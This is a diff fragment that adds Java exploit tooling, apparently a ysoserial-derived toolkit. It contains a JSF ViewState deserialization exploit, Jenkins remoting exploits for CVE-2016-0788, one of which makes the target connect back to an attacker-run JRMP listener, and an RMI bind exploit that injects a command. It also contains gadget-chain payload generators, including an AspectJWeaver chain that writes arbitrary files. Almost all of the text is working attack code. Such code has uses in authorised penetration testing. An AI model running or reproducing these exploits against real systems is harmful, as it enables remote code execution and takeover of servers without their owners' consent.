this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
|
||||
|
||||
/**
|
||||
* JSF view state exploit
|
||||
* <p>
|
||||
* Delivers a gadget payload via JSF ViewState token.
|
||||
* <p>
|
||||
* This will only work if ViewState encryption/mac is disabled.
|
||||
* <p>
|
||||
* While it has been long known that client side state saving
|
||||
* with encryption disabled leads to RCE via EL injection,
|
||||
* this of course also works with deserialization gadgets.
|
||||
* <p>
|
||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||
* using server-side state saving
|
||||
* (yes, please, let's (de-)serialize a String as an Object).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JSF {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
try {
|
||||
URL u = new URL(args[0]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
URLConnection c = u.openConnection();
|
||||
if (!(c instanceof HttpURLConnection)) {
|
||||
throw new IllegalArgumentException("Not a HTTP url");
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) c;
|
||||
hc.setDoOutput(true);
|
||||
hc.setRequestMethod("POST");
|
||||
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||
OutputStream os = hc.getOutputStream();
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||
oos.writeObject(payloadObject);
|
||||
oos.close();
|
||||
byte[] data = bos.toByteArray();
|
||||
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||
os.write(requestBody.getBytes("US-ASCII"));
|
||||
os.close();
|
||||
|
||||
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.ThreadFactory;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
* <p>
|
||||
* Jenkins unfortunately is still using a custom serialization based
|
||||
* protocol for remote communications only protected by a blacklisting
|
||||
* application level filter.
|
||||
* <p>
|
||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsCLI {
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
c.call(getPropertyCallable(payloadObject));
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
Object getJarLoader = reqCons
|
||||
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
||||
prop
|
||||
});
|
||||
return (Callable<?, ?>) getJarLoader;
|
||||
}
|
||||
|
||||
public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
|
||||
URL u = new URL(jenkinsUrl);
|
||||
|
||||
URLConnection conn = u.openConnection();
|
||||
if (!(conn instanceof HttpURLConnection)) {
|
||||
System.err.println("Not a HTTP URL");
|
||||
throw new MalformedURLException();
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||
if (hc.getResponseCode() >= 400) {
|
||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||
}
|
||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||
|
||||
return new InetSocketAddress(u.getHost(), clip);
|
||||
}
|
||||
|
||||
public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
|
||||
System.err.println("* Opening socket " + isa);
|
||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
System.err.println("* Opening channel");
|
||||
OutputStream outputStream = s.getOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||
dos.writeUTF("Protocol:CLI-connect");
|
||||
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||
|
||||
public Thread newThread(Runnable r) {
|
||||
Thread t = new Thread(r, "Channel");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
}
|
||||
});
|
||||
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||
System.err.println("* Channel open");
|
||||
return c;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import com.qi4l.jndi.gadgets.JRMPListener;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.JarLoader;
|
||||
import sun.rmi.server.Util;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.rmi.activation.ActivationDesc;
|
||||
import java.rmi.activation.ActivationID;
|
||||
import java.rmi.activation.ActivationInstantiator;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
* <p>
|
||||
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||
* <p>
|
||||
* Extra twist:
|
||||
* The well-known objects exported by the listener use the system classloader which usually
|
||||
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||
* that identifier via an exception.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes", "restriction"
|
||||
})
|
||||
public class JenkinsListener {
|
||||
|
||||
public static final void main(final String[] args) {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
int jrmpPort = 12345;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
|
||||
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||
|
||||
System.err.println("* JarLoader oid is " + oid);
|
||||
|
||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
|
||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||
|
||||
try {
|
||||
c.call((Callable<?, ?>) o);
|
||||
} catch (Exception e) {
|
||||
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||
// -9046794842107247609]]
|
||||
|
||||
System.err.println(e.getMessage());
|
||||
|
||||
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
return reqCons
|
||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
||||
uro,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
|
||||
String msg = e.getMessage();
|
||||
int start = msg.indexOf("objID:[");
|
||||
if (start < 0) {
|
||||
throw new Exception("Failed to get object id");
|
||||
}
|
||||
|
||||
int sep = msg.indexOf(", ", start + 1);
|
||||
|
||||
if (sep < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
int end = msg.indexOf("]", sep + 1);
|
||||
|
||||
if (end < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
String uid = msg.substring(start + 7, sep);
|
||||
String objNum = msg.substring(sep + 2, end);
|
||||
|
||||
System.err.println("* UID is " + uid);
|
||||
System.err.println("* ObjNum is " + objNum);
|
||||
|
||||
String[] parts = uid.split(":");
|
||||
|
||||
long obj = Long.parseLong(objNum);
|
||||
int o1 = Integer.parseInt(parts[0], 16);
|
||||
long o2 = Long.parseLong(parts[1], 16);
|
||||
short o3 = Short.parseShort(parts[2], 16);
|
||||
|
||||
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
||||
}
|
||||
|
||||
|
||||
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
||||
throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
System.err.println("* Opening JRMP socket " + isa);
|
||||
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
@SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(obj);
|
||||
objOut.writeInt(o1);
|
||||
objOut.writeLong(o2);
|
||||
objOut.writeShort(o3);
|
||||
|
||||
objOut.writeInt(-1);
|
||||
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
os.flush();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import com.qi4l.jndi.gadgets.JRMPClient;
|
||||
import hudson.remoting.Channel;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
* <p>
|
||||
* - Sets up a local {@link JRMPListener}
|
||||
* - Delivers a {@link com.qi4l.jndi.exploit.JRMPClient} payload via the CLI protocol
|
||||
* that will cause the remote to open a JRMP connection to our listener
|
||||
* - upon connection the specified payload will be delivered to the remote
|
||||
* (that will deserialize using a default ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsReverse {
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 4) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
String myAddr = args[1];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
String jenkinsUrl = args[0];
|
||||
|
||||
Thread t = null;
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||
t = new Thread(listener, "ReverseDGC");
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||
listener.waitFor(1000);
|
||||
listener.close();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (t != null) {
|
||||
t.interrupt();
|
||||
try {
|
||||
t.join();
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.security.auth.UnixPrincipal;
|
||||
import sun.rmi.transport.StreamRemoteCall;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import javax.management.remote.rmi.RMIConnection;
|
||||
import javax.security.auth.Subject;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInput;
|
||||
import java.io.ObjectOutput;
|
||||
import java.lang.reflect.Field;
|
||||
import java.rmi.*;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.Operation;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author su18
|
||||
*/
|
||||
public class RMIBindExploit {
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 4) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String host = args[0];
|
||||
int registryPort = Integer.parseInt(args[1]);
|
||||
String command = args[2];
|
||||
String serviceName = args[3];
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
||||
System.out.println(Arrays.toString(registry.list()));
|
||||
|
||||
Subject subject = new Subject();
|
||||
|
||||
Set set = new HashSet();
|
||||
set.add(new UnixPrincipal(command));
|
||||
Reflections.setFieldValue(subject, "principals", set);
|
||||
|
||||
|
||||
RMIClient r = new RMIClient();
|
||||
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
||||
r.ip = host;
|
||||
|
||||
|
||||
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
||||
}
|
||||
|
||||
static class RMIClient extends RemoteObject {
|
||||
|
||||
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
||||
|
||||
private RemoteRef ref = null;
|
||||
|
||||
private String ip = null;
|
||||
|
||||
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
|
||||
try {
|
||||
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
||||
|
||||
try {
|
||||
ObjectOutput var3 = var2.getOutputStream();
|
||||
var3.writeObject(var1);
|
||||
} catch (IOException var15) {
|
||||
throw new MarshalException("error marshalling arguments", var15);
|
||||
}
|
||||
|
||||
this.ref.invoke(var2);
|
||||
|
||||
Remote var20;
|
||||
try {
|
||||
ObjectInput var4 = var2.getInputStream();
|
||||
var20 = (Remote) var4.readObject();
|
||||
|
||||
Field f = var2.getClass().getDeclaredField("in");
|
||||
f.setAccessible(true);
|
||||
Object conn = f.get(var2);
|
||||
|
||||
f = conn.getClass().getDeclaredField("incomingRefTable");
|
||||
f.setAccessible(true);
|
||||
|
||||
HashMap rets = (HashMap) f.get(conn);
|
||||
|
||||
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
||||
|
||||
f = entry.getKey().getClass().getDeclaredField("host");
|
||||
f.setAccessible(true);
|
||||
f.set(entry.getKey(), this.ip);
|
||||
} catch (Exception var13) {
|
||||
// var2.discardPendingRefs();
|
||||
throw new UnmarshalException("error unmarshalling return", var13);
|
||||
} finally {
|
||||
this.ref.done(var2);
|
||||
}
|
||||
|
||||
return var20;
|
||||
} catch (RuntimeException var16) {
|
||||
throw var16;
|
||||
} catch (RemoteException var17) {
|
||||
throw var17;
|
||||
} catch (NotBoundException var18) {
|
||||
throw var18;
|
||||
} catch (Exception var19) {
|
||||
throw new UnexpectedException("undeclared checked exception", var19);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* HashSet.readObject()
|
||||
* HashMap.put()
|
||||
* HashMap.hash()
|
||||
* TiedMapEntry.hashCode()
|
||||
* TiedMapEntry.getValue()
|
||||
* LazyMap.get()
|
||||
* SimpleCache$StorableCachingMap.put()
|
||||
* SimpleCache$StorableCachingMap.writeToPath()
|
||||
* FileOutputStream.write()
|
||||
* <p>
|
||||
* Usage:
|
||||
* args = "<filename>;<base64 content>"
|
||||
* Example:
|
||||
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
||||
* <p>
|
||||
* More information:
|
||||
* https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.JANG})
|
||||
|
||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(":");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("QI4L");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Factory;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
||||
|
||||
@Override
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(';');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
|
||||
Factory ft = new ConstantFactory(content);
|
||||
Transformer ct = new FactoryTransformer(ft);
|
||||
|
||||
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("QI4L");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.XThis;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
